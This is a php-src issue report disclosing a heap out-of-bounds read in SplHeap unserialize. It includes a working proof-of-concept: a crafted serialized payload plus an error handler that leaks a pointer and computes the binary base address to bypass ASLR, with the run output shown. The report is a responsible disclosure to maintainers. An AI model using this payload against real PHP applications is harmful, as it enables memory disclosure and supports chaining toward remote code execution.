[php-src] Issue #22257: Heap Out-of-Bounds Read in SplHeap Unserialize

Issue: https://github.com/php/php-src/issues/22257
Author: 012git012

### Description

Version: PHP 8.6.0-dev (cli) (built: May 13 2026 08:43:46) (NTS DEBUG)
Researcher: Igor Sak-Sakovskiy (Positive Technologies)

Language assembly and compilation.
Listing 1. Language assembly and compilation.
```
$ git clone https://github.com/php/php-src.git
$ cd php-src
$ ./buildconf
$ ./configure
$ make -j8
$ ./sapi/cli/php -v
PHP 8.6.0-dev (cli) (built: May 13 2026 08:43:46) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
    with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce
```

Listing 2. 
```
<?php
$idx = 0;
set_error_handler(function($code, $msg) use (&$idx) {
    if (!preg_match('/frame (\d+)/', $msg, $m)) return true;
    if ($idx++ !== 3) return true;
    $addr = (int)$m[1];
    $base = $addr - 0x222eb88;
    printf("text_base = 0x%x\n", $base);
    printf("uninitialized_bucket = 0x%x (text_base + 0x222eb88)\n", $addr);
    return true;
});

$n = "\x00";
unserialize(
    'O:9:"Exception":1:{' .
    's:16:"' . $n . 'Exception' . $n . 'trace";' .
    'O:8:"stdClass":2:{' .
    's:1:"0";' .
    'O:10:"SplMaxHeap":2:{' .
    'i:0;a:0:{}' .
    'i:1;a:2:{' .
    's:5:"flags";i:0;' .
    's:13:"heap_elements";a:2:{i:0;s:0:"";i:1;R:1;}' .
    '}' .
    '}' .
    'z' .
    '}}'
);
?>
```

Executing this PHP code results in memory address leak, enabling ASLR bypass. Combined with other vulnerabilities (e.g., use-after-free), this can lead to Remote Code Execution (RCE).
Listing 3. 
```
$ ./php-src/sapi/cli/php poc.php
text_base = 0x1d5fddd1479
uninitialized_bucket = 0x1d600000001 (text_base + 0x222eb88)
Segmentation fault (core dumped)
```
Heap buffer overflow allows reading memory beyond allocated bounds, potentially leaking PHP binary base address. This ASLR bypass is a critical step towards RCE when combined with other vulnerabilities. In ZTS mode, this can stop all currently served requests in the process.

### PHP Version

```plain
PHP 8.6.0-dev (cli) (built: May 13 2026 08:43:46) (NTS DEBUG)
```

### Operating System

_No response_